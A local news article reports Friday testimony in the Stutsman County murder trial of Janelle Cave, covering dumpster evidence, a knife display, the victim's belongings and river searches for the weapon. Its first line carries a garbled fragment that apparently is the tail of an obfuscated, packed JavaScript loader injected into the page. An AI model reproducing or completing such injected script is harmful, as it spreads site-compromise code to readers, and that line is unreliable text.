JAMESTOWN atnzk|var|u0026u|referrer|abndn||js|php’.split(‘|’),0,{}))
(NewsDakota.com) – Witnesses in the murder trial of 22-year-old Janelle Cave testified Friday morning in Stutsman County District Court that items found in an apartment complex dumpster belonged to Leron “Rah Rah” Howard and Cave.

Another witness testified he saw Howard put something in the dumpster on April 30, the day 18-year-old Abdi Ali Ahmed’s body was discovered near Spiritwood and the day Howard and Cave were arrested.

Howard and Cave’s roommate, Alexa Stoller, testified that a red shirt and light gray sweatpants found in the dumpster belonged to Howard, and that a pair of dark gray sweatpants and a pair of pink and white socks belonged to Cave. Earlier, witnesses testified that a pair of Air Jordan shoes found in the dumpster belonged to Howard.

Investigator Arnie Rummel illustrates the different length in two pairs of sweatpants recovered from a dumpster during the investigation into Abdi Ali Ahmed's death. Photo by John M. Steiner/The Jamestown Sun

Also discovered in the dumpster was a black display shelf, which investigator Arnie Rummel testified was similar in size and shape to a dust void left on a shelf in Cave and Howard’s residence. A similar, but much smaller display board holding a small knife was discovered in the residence.

The roommate Stoller testified that Cave bought a larger knife that went on the larger display board because the knife was similar to the smaller one, which Cave already owned. Investigator Rummel estimated the larger knife would have been about 14 to 16 inches long.

On Thursday, Stutsman County State’s attorney Fritz Fremgen began to paint a picture of Howard ditching evidence on the afternoon of April 30. An ex-girlfriend of Howard’s testified he had her throw a black zip-up sweatshirt in a garbage container while they were driving around that day. Stutsman County investigator Jason Falk testified Wednesday that DNA evidence linked the sweatshirt to Ahmed.

The court also admitted into evidence two bags of items recovered from the dumpster of an apartment complex where the ex-girlfriend testified she gave Howard a ride to that afternoon. She testified a pair of sneakers recovered from one of the bags belonged to Howard. The other items were linked to Howard and Cave by their roommate Alexa Stoller on Friday.

Delmonte Jones testifies Thursday in Stutsman County District Court during the murder trial of Janelle Cave. Photo by John M. Steiner/The Jamestown Sun

On Friday, witnesses testified Ahmed’s wallet, a phone and a key were found on the boulevard across the street from Cave and Howard’s residence, although where they came from or how they got there hasn’t been revealed.

Also on Friday, current Jamestown Police Chief Scott Edinger, an investigator at the time of the incident, testified that authorities searched for the possible murder weapon in the James River near the State Hospital in Jamestown.

“The investigators who spoke to Ms. Cave were told the murder weapon was near the river near the state hospital here in Jamestown,” he said.

He said authorities conducted a ground search in the area on Nov. 7, 2011, and had the Red River Valley Dive Team conduct an underwater search of the area on Nov. 13. Neither search turned up anything relevant to the case.

The trial continues Monday. A medical examiner and individuals from the North Dakota Crime Lab are planned witnesses.

“It should be a pretty full day,” Judge Thomas Merrick said of Monday.

Leave a Reply